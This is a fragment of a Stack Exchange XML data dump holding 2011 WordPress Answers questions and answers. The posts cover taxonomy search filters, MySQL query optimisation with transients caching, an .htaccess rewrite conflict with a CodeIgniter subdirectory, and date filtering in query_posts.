  <row Id="8533" PostTypeId="1" CreationDate="2011-02-04T13:12:13.510" Score="0" ViewCount="207" Body="&lt;p&gt;I'm looking for a simple way to achieve search filtering like this : &lt;a href=&quot;http://ckclinical.co.uk/search/&quot; rel=&quot;nofollow&quot;&gt;http://ckclinical.co.uk/search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are obviously pointing people to a empty search and then filtering by category.  I've spent hours running round in circles :)&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2924" LastActivityDate="2011-02-04T15:46:44.733" Title="Refine Search Results" Tags="&lt;search&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" />
  <row Id="8534" PostTypeId="2" ParentId="4178" CreationDate="2011-02-04T13:39:51.870" Score="0" ViewCount="" Body="&lt;p&gt;You need to modify the menu individually by code, most certainly by a plugin. &lt;a href=&quot;http://codex.wordpress.org/Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;Administration Menus (Wordpress Codex)&lt;/a&gt; contains a lot of information how the menu can be controlled. If nothing helps, you can &lt;a href=&quot;http://hungred.com/how-to/remove-wordpress-admin-menu-affecting-wordpress-core-system/&quot; rel=&quot;nofollow&quot;&gt;directly control the menu via the associated global variable&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-04T13:39:51.870" />
  <row Id="8535" PostTypeId="2" ParentId="8503" CreationDate="2011-02-04T13:44:42.933" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@goatlady:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is really a MySQL question it does help to understand the WordPress SQL schema and also I love trying to optimize SQL queries so rather than send you off to &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;StackOverflow&lt;/a&gt; I'll try to answer you here.  You may still want to post it over there to get some other opinions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And while I don't fully understand your requirement I think I understand what you are asking I think I do so I'd like to present the following to see if it meets your needs better. I don't have your data so it is a little hard for me to very that it indeed works but like I said, I think it meets your needs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_resources($phase,$wa,$aus,$topics){&#xA;  global $wpdb;&#xA;  $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  t.slug,p.*&#xA;FROM&#xA;  wp_posts p&#xA;  INNER JOIN wp_term_relationships tr ON p.ID=tr.object_id&#xA;  INNER JOIN wp_term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id&#xA;  INNER JOIN wp_terms t ON tt.term_id = t.term_id&#xA;WHERE 1=1&#xA;  AND p.post_type = 'resources'&#xA;  AND p.post_status = 'publish'&#xA;  AND t.term_id IN (%d,%d,%d,%d)&#xA;  AND CONCAT(tt.taxonomy,'/',t.term_id) IN (&#xA;    'phase-of-learning/%s',&#xA;    'wa-curriculum/%s',&#xA;    'australian-curriculum/%s',&#xA;    'topics/%s'&#xA;  )&#xA;GROUP BY&#xA;  p.ID&#xA;HAVING&#xA;  COUNT(*)=4&#xA;ORDER BY&#xA;  p.post_date DESC&#xA;SQL;&#xA;  $sql = $wpdb-&amp;gt;prepare($sql,&#xA;    $phase,$wa,$aus,$topics,  // For the %d replacements&#xA;    $phase,$wa,$aus,$topics   // For the %s replacements&#xA;  );&#xA;  $results = $wpdb-&amp;gt;get_results($sql,OBJECT);&#xA;  return $results;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically this gives you all posts where all of your taxonomy terms are applied and it does so by doing a freeform query to match all posts that have the taxonomy/terms applied but limits to only those posts that have all terms applied grouping by &lt;code&gt;wp_post.ID&lt;/code&gt; and finding all records for which the post is joined 4 times. When you run a MySQL &lt;code&gt;EXPLAIN&lt;/code&gt; the optimization looks pretty good compared to what you had; many fewer tables joined. Hopefully this was the logic you needed.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Caching with the Transients API&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;And if you are trying to improve performance you might also consider caching the results in a &lt;em&gt;&quot;transient&quot;&lt;/em&gt; for a limited amount of time &lt;em&gt;(1 hour, 4 hours, 12 hours or more?)&lt;/em&gt; This blog post describes how to use the WordPress &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Transients API&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planetozh.com/blog/2010/05/overview-of-wordpress-transients-api/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Overview of WordPress’ Transients API&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the basic logic for transients:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('NUM_HOURS',4); // Time to cache set for your use case&#xA;$data = get_transient( 'your_transient_key' );&#xA;if( !$data ) {&#xA;  $data = // Do something to get your data here&#xA;  set_transient( 'your_transient_key', $data, 60 * 60 * NUM_HOURS );&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use transients in your &lt;code&gt;filter_resources()&lt;/code&gt; function it might instead look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('RESOURCE_CACHE_HOURS',4);&#xA;function filter_resources($phase,$wa,$aus,$topics){&#xA;  $resources = get_transient( 'yoursite_filtered_resources' );&#xA;  if(!$resources) {&#xA;    global $wpdb;&#xA;    $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  t.slug,p.*&#xA;FROM&#xA;  wp_posts p&#xA;  INNER JOIN wp_term_relationships tr ON p.ID=tr.object_id&#xA;  INNER JOIN wp_term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id&#xA;  INNER JOIN wp_terms t ON tt.term_id = t.term_id&#xA;WHERE 1=1&#xA;  AND p.post_type = 'resources'&#xA;  AND p.post_status = 'publish'&#xA;  AND t.term_id IN (%d,%d,%d,%d)&#xA;  AND CONCAT(tt.taxonomy,'/',t.term_id) IN (&#xA;    'phase-of-learning/%s',&#xA;    'wa-curriculum/%s',&#xA;    'australian-curriculum/%s',&#xA;    'topics/%s'&#xA;  )&#xA;GROUP BY&#xA;  p.ID&#xA;HAVING&#xA;  COUNT(*)=4&#xA;ORDER BY&#xA;  p.post_date DESC&#xA;SQL;&#xA;    $sql = $wpdb-&amp;gt;prepare($sql,&#xA;      $phase,$wa,$aus,$topics,  // For the %d replacements&#xA;      $phase,$wa,$aus,$topics   // For the %s replacements&#xA;    );&#xA;    $resources = $wpdb-&amp;gt;get_results($sql,OBJECT);&#xA;    $hours = RESOURCE_CACHE_HOURS * 60 * 60;&#xA;    set_transient( 'yoursite_filtered_resources', $resources, $hours);&#xA;  }  &#xA;  return $resources;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's another take on the code that is attempting to handle the cases where less than four criteria are selected by the user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('RESOURCE_CACHE_HOURS',4);&#xA;function filter_resources($phase,$wa,$aus,$topics){&#xA;  $resources = get_transient( 'yoursite_filtered_resources' );&#xA;  if(!$resources) {&#xA;    $terms = $taxterms = array();&#xA;    if (!empty($phase))&#xA;      $taxterms[$phase] = 'phase-of-learning/%s';&#xA;    if (!empty($wa)) &#xA;      $taxterms[$wa] = 'wa-curriculum/%s';&#xA;    if (!empty($aus))&#xA;      $taxterms[$aus] = 'axustralian-curriculum/%s';&#xA;    if (!empty($topics))&#xA;      $taxterms[$topics] = 'topics/%s';&#xA;    $count = count($taxterms);&#xA;    $having = ($count==0 ? '' : &quot;HAVING COUNT(*)={$count}&quot;);&#xA;    $values = array_keys(array_flip($tax_terms));&#xA;    $values = array_merge($values,$values);  // For %d and $s&#xA;    $taxterms =  implode(&quot;','&quot;,$taxterms);&#xA;    $terms = implode(',',array_fill(0,$count,'d%'));&#xA;    global $wpdb;&#xA;    $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  t.slug,p.*&#xA;FROM&#xA;  wp_posts p&#xA;  INNER JOIN wp_term_relationships tr ON p.ID=tr.object_id&#xA;  INNER JOIN wp_term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id&#xA;  INNER JOIN wp_terms t ON tt.term_id = t.term_id&#xA;WHERE 1=1&#xA;  AND p.post_type = 'resources'&#xA;  AND p.post_status = 'publish'&#xA;  AND t.term_id IN ({$terms})&#xA;  AND CONCAT(tt.taxonomy,'/',t.term_id) IN ('{$taxterms}')&#xA;GROUP BY&#xA;  p.ID&#xA;{$having}&#xA;ORDER BY&#xA;  p.post_date DESC&#xA;SQL;&#xA;    $sql = $wpdb-&amp;gt;prepare($sql,$values);&#xA;    $resources = $wpdb-&amp;gt;get_results($sql,OBJECT);&#xA;    $hours = RESOURCE_CACHE_HOURS * 60 * 60;&#xA;    set_transient( 'yoursite_filtered_resources', $resources, $hours);&#xA;  }  &#xA;  return $resources;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-05T03:25:42.153" LastActivityDate="2011-02-05T03:25:42.153" CommentCount="8" />
  <row Id="8536" PostTypeId="1" AcceptedAnswerId="8538" CreationDate="2011-02-04T07:24:56.447" Score="1" ViewCount="469" Body="&lt;p&gt;I've been having some issues with my Wordpress install allowing me to access subdirectories, specifically a CodeIgniter install at mydomain.com/codeigniter. I know that technically it should work just fine as-is and recognize folders as they are created. However, this is not happening. I suspect it has something to do with a plugin, but I've tried disabling all of them and the problem still occurs (directs me to the Wordpress 404 page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a solution in the meantime, however. If I create a subdomain, something changes and everything works like it should, accessing the folder both via the direct path and via the subdomain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help? I've tried all sorts of fun stuff with my .htaccess files in both directories, but changing them doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Here's the Wordpress .htaccess in the root folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirectoryIndex index.php index.htm index.html&#xA;AddHandler application/x-httpd-php52 .php .php5 .php4 .php&#xA;&#xA;# BEGIN WordPress&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} !^/?codeigniter/&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the CodeIgniter .htaccess file in the /codeigniter/ subdirectory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirectoryIndex index.php index.htm index.html&#xA;AddHandler application/x-httpd-php52 .php .php5 .php4 .php&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /codeigniter&#xA;RewriteCond $1 !^(index\.php|images|robots\.txt)&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ index.php?/$1 [L,QSA]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2945" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-16T18:19:37.007" LastActivityDate="2011-02-16T18:19:37.007" Title="Wordpress .htaccess subdirectory problem" Tags="&lt;server&gt;&lt;htaccess&gt;&lt;subdirectories&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="8537" PostTypeId="2" ParentId="8533" CreationDate="2011-02-04T14:12:02.813" Score="2" ViewCount="" Body="&lt;p&gt;Search is a big topic and therefore I can only guess the direction you want to go to. Like @MikeSchinkel in his comment was asking for more, I can for the moment only provide a list of links of which one might come close to what you need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.hyperspatial.com/all-code/wordpress-code/refine-search-by-category/&quot; rel=&quot;nofollow&quot;&gt;Refine search by category (How-To)&lt;/a&gt;; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/articles/news/building-a-custom-search-by-category-wordpress-plugin-new-plus-tutorial/&quot; rel=&quot;nofollow&quot;&gt;Building a Custom “Search By Category” WordPress Plugin: New Premium Tutorial (Tutorial)&lt;/a&gt; ; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/faceted-search/&quot; rel=&quot;nofollow&quot;&gt;Faceted Search (Wordpress Plugin)&lt;/a&gt;; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-unleashed/&quot; rel=&quot;nofollow&quot;&gt;Search Unleashed (Wordpress Plugin)&lt;/a&gt;; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search/&quot; rel=&quot;nofollow&quot;&gt;Search API (Wordpress Plugin)&lt;/a&gt;; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ivinco.com/software/wordpress-sphinx-search-plugin/&quot; rel=&quot;nofollow&quot;&gt;WordPress Sphinx Search Plugin (Wordpress Plugin)&lt;/a&gt;; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yoast.com/wordpress-search/&quot; rel=&quot;nofollow&quot;&gt;Make WordPress’ search function suck Less (How-To)&lt;/a&gt;; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-04T14:22:34.557" LastActivityDate="2011-02-04T14:22:34.557" CommentCount="2" />
  <row Id="8538" PostTypeId="2" ParentId="8536" CreationDate="2011-02-04T14:20:08.560" Score="0" ViewCount="" Body="&lt;p&gt;Even though static files and directories do work with a mod_rewrite'd wordpress installation in the servers root you might need to exclude your CodeIgniter subdirectory from that mod_rewrite lineup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do so by placing an additional .htaccess file into the CodeIgniter directory and disable mod_rewrite in there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt; &#xA;RewriteEngine off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;http://serverfault.com/questions/55323/disable-mod-rewrite-for-subdirectory&quot;&gt;apache - Disable mod_rewrite for subdirectory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This normally does the job for me. But it can be less trivial in case that subdirectory needs a mod_rewrite configuration on it's own (as some PHP Frameworks need).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand how the apache configuration works, please see &lt;a href=&quot;http://httpd.apache.org/docs/1.3/configuring.html&quot; rel=&quot;nofollow&quot;&gt;Configuration Files (Apache Manual)&lt;/a&gt; and &lt;a href=&quot;http://httpd.apache.org/docs/1.3/mod/core.html#allowoverride&quot; rel=&quot;nofollow&quot;&gt;AllowOverride directive (Apache Manual)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-04T14:20:08.560" CommentCount="3" />
  <row Id="8540" PostTypeId="1" AcceptedAnswerId="8548" CreationDate="2011-02-04T14:52:46.133" Score="0" ViewCount="401" Body="&lt;p&gt;I have been looking for hours for an example on how to do this.&#xA;I have 2 simple taxonomies, Type, Size.&#xA;I need to create a custom form with the 2 taxonomies available as Select list/filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tx in advance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt; &#xA;&#xA;        &amp;lt;?php&#xA;        function get_terms_dropdown($taxonomies, $selectname,$args){&#xA;            $myterms = get_terms($taxonomies, $args);&#xA;            $selected = &quot;selected&quot;;&#xA;            $output =&quot;&amp;lt;select name='&quot;.$selectname.&quot;'&amp;gt;&amp;lt;option selected='&quot;.$selected.&quot;'&amp;gt;Select&amp;lt;/option&amp;gt;'&quot;;&#xA;&#xA;            foreach($myterms as $term){&#xA;                //$term_taxonomy=$term-&amp;gt;$taxonomies;&#xA;                $term_slug=$term-&amp;gt;slug;&#xA;                $term_name =$term-&amp;gt;name;&#xA;                $output .=&quot;&amp;lt;option value='&quot;.$term_slug.&quot;'&amp;gt;&quot;.$term_name.&quot;&amp;lt;/option&amp;gt;&quot;;&#xA;            }&#xA;            $output .=&quot;&amp;lt;/select&amp;gt;&quot;;&#xA;        return $output;&#xA;        }&#xA;&#xA;        $taxonomies = array('location');&#xA;        $taxonomies2 = array('function');&#xA;        $taxonomies3 = array('sector');&#xA;        $args = array('order'=&amp;gt;'ASC','hide_empty'=&amp;gt;false);&#xA;        echo &quot;&amp;lt;br /&amp;gt;&quot;.get_terms_dropdown($taxonomies,'location' ,$args).&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        echo get_terms_dropdown($taxonomies2,'function' ,$args).&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        echo get_terms_dropdown($taxonomies3, 'sector' ,$args).&quot;&amp;lt;br /&amp;gt;&quot;;&#xA;        ?&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2597" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-05T00:03:04.143" LastActivityDate="2011-03-07T01:38:38.040" Title="WP Search using taxonomy terms" Tags="&lt;taxonomy&gt;&lt;search&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="8541" PostTypeId="1" CreationDate="2011-02-04T14:55:10.033" Score="0" ViewCount="128" Body="&lt;p&gt;The theme I have has its own admin menu using add_menu_page and add_submenu_page. Question: is there any way for me to add custom post types to this admin menu? Instead of the custom post type appearing in its own menu?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-04T15:01:58.983" Title="Custom post type menu" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="8542" PostTypeId="2" ParentId="8541" CreationDate="2011-02-04T15:01:58.983" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@steen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to WordPress Answers, glad to have you here. I think this is what you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8483/custom-post-type-menus&quot;&gt;&lt;strong&gt;Custom Post Type Menus&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. BTW, in the future you may want to search the site first before asking. The above almost identical question was asked yesterday.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-04T15:01:58.983" />
  <row Id="8543" PostTypeId="2" ParentId="8503" CreationDate="2011-02-04T15:03:39.843" Score="1" ViewCount="" Body="&lt;p&gt;First and foremost, use inner joins, not left joins. Left joins will force a query plan that scans the whole posts table until it find a matching post through your term filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you can reduce the number of needed joins by pre-fetching the terms using get_term().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combining the two, your query becomes something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM $wpdb-&amp;gt;posts posts&#xA;JOIN $wpdb-&amp;gt;term_relationships termA&#xA;ON posts.ID = termA.object_id&#xA;AND termA.term_taxonomy_id = $termA_taxid&#xA;JOIN $wpdb-&amp;gt;term_relationships termB&#xA;ON posts.ID = termB.object_id&#xA;AND termB.term_taxonomy_id = $termB_taxid&#xA;JOIN $wpdb-&amp;gt;term_relationships termC&#xA;ON posts.ID = termC.object_id&#xA;AND termC.term_taxonomy_id = $termC_taxid&#xA;JOIN $wpdb-&amp;gt;term_relationships termD&#xA;ON posts.ID = termD.object_id&#xA;AND termD.term_taxonomy_id = $termD_taxid&#xA;WHERE ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which should yield the same results with 5 joined tables instead of 13, and with a query plan that starts by looking up whichever posts tied to whichever term occurs the least frequently in term_relationships.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-04T15:03:39.843" CommentCount="1" />
  <row Id="8544" PostTypeId="1" AcceptedAnswerId="8545" CreationDate="2011-02-04T15:21:42.023" Score="1" ViewCount="186" Body="&lt;p&gt;Specifically, I am making a custom rss feed.  I have modeled it after the rss2 feed that is in the wp-includes folder.  I can successfully retrieve all posts using the standard query_posts('posts_per_page=-1').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I am attempting to get just the ones posted in the past year:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today = date('Y-m-d');&#xA;$newdate = strtotime ( '-1 year' , strtotime ( $today ) ) ;&#xA;$ayearago = date( 'Y-m-d' , $newdate );&#xA;&#xA;function filter_where($where = '') {&#xA;        $where .= &quot; AND post_date &amp;gt;= '&quot; . $ayearago . &quot;'&quot;;&#xA;    return $where;&#xA;}&#xA;&#xA;add_filter('posts_where', 'filter_where');&#xA;&#xA;query_posts($query_string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes this returns only posts from 2011 forward.  Can someone help me figure out why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the main source code from my custom feed page called feed-postlist.php:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA; * Custom RSS Feed&#xA; *&#xA; * @package WordPress&#xA; */&#xA;&#xA;header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);&#xA;$more = 1;&#xA;&#xA;echo '&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;'.get_option('blog_charset').'&quot;?'.'&amp;gt;'; ?&amp;gt;&#xA;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&#xA;    xmlns:sy=&quot;http://purl.org/rss/1.0/modules/syndication/&quot;&#xA;    xmlns:slash=&quot;http://purl.org/rss/1.0/modules/slash/&quot;&#xA;    &amp;lt;?php do_action('rss2_ns'); ?&amp;gt;&#xA;&amp;gt;&#xA;&amp;lt;?php&#xA;$today = date('Y-m-d');&#xA;$newdate = strtotime ( '-1 year' , strtotime ( $today ) ) ;&#xA;$ayearago = date( 'Y-m-d' , $newdate );&#xA;&#xA;function filter_where($where = '') {&#xA;        $where .= &quot; AND post_date &amp;gt;= DATE('&quot; . $ayearago . &quot;')&quot;;&#xA;    return $where;&#xA;}&#xA;&#xA;add_filter('posts_where', 'filter_where');&#xA;&#xA;query_posts('posts_per_page=-1');&#xA;?&amp;gt;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;&amp;lt;?php bloginfo_rss('name'); wp_title_rss(); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;atom:link href=&quot;&amp;lt;?php self_link(); ?&amp;gt;&quot; rel=&quot;self&quot; type=&quot;application/rss+xml&quot; /&amp;gt;&#xA;    &amp;lt;link&amp;gt;&amp;lt;?php bloginfo_rss('url') ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;?php bloginfo_rss(&quot;description&quot;) ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;lastBuildDate&amp;gt;&amp;lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?&amp;gt;&amp;lt;/lastBuildDate&amp;gt;&#xA;    &amp;lt;language&amp;gt;&amp;lt;?php echo get_option('rss_language'); ?&amp;gt;&amp;lt;/language&amp;gt;&#xA;    &amp;lt;sy:updatePeriod&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_period', 'hourly' ); ?&amp;gt;&amp;lt;/sy:updatePeriod&amp;gt;&#xA;    &amp;lt;sy:updateFrequency&amp;gt;&amp;lt;?php echo apply_filters( 'rss_update_frequency', '1' ); ?&amp;gt;&amp;lt;/sy:updateFrequency&amp;gt;&#xA;    &amp;lt;?php do_action('rss2_head'); ?&amp;gt;&#xA;    &amp;lt;?php while( have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;item&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ryan&lt;/p&gt;&#xA;" OwnerUserId="2946" LastEditorUserId="2946" LastEditorDisplayName="" LastEditDate="2011-02-04T16:28:37.527" LastActivityDate="2011-02-04T16:59:42.017" Title="How do I correctly get all posts within the last year using the query_posts function?" Tags="&lt;query-posts&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="8545" PostTypeId="2" ParentId="8544" CreationDate="2011-02-04T15:25:36.903" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ryan Long:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two problems: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to wrap the result of &lt;code&gt;date( 'Y-m-d' , $newdate );&lt;/code&gt; in a SQL &lt;code&gt;DATE()&lt;/code&gt; function, and &lt;/li&gt;&#xA;&lt;li&gt;You define &lt;code&gt;$ayearago&lt;/code&gt; outside of the &lt;code&gt;filter_where()&lt;/code&gt; function so it's not in scope within the function. You need to move the code that sets &lt;code&gt;$ayearago&lt;/code&gt; into the &lt;code&gt;filter_where()&lt;/code&gt; function like this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yoursite_filter_where($where = '') {&#xA;  $today = date('Y-m-d');&#xA;  $newdate = strtotime ( '-1 year' , strtotime ( $today ) ) ;&#xA;  $ayearago = date( 'Y-m-d' , $newdate );&#xA;  $where .= &quot; AND post_date &amp;gt;= DATE('{$ayearago}')&quot;;&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if that works for you...&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-04T16:59:42.017" LastActivityDate="2011-02-04T16:59:42.017" CommentCount="4" />
  <row Id="8547" PostTypeId="2" ParentId="8533" CreationDate="2011-02-04T15:46:44.733" Score="0" ViewCount="" Body="&lt;p&gt;Look at this answer to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8224/is-there-any-multiple-filter-criteria-plugin-for-wordpress/8237#8237&quot;&gt;Is there any multiple filter/criteria plugin for wordpress ?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can code the ba_search_with_filters function to output select dropdown with just the categories you want.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-04T15:46:44.733" CommentCount="2" />
  <row Id="8548" PostTypeId="2" ParentId="8540" CreationDate="2011-02-04T15:49:23.450" Score="0" ViewCount="" Body="&lt;p&gt;take a look at scribu &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; plugin &#xA;it creates a drill-down navigation widget&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-04T15:49:23.450" />
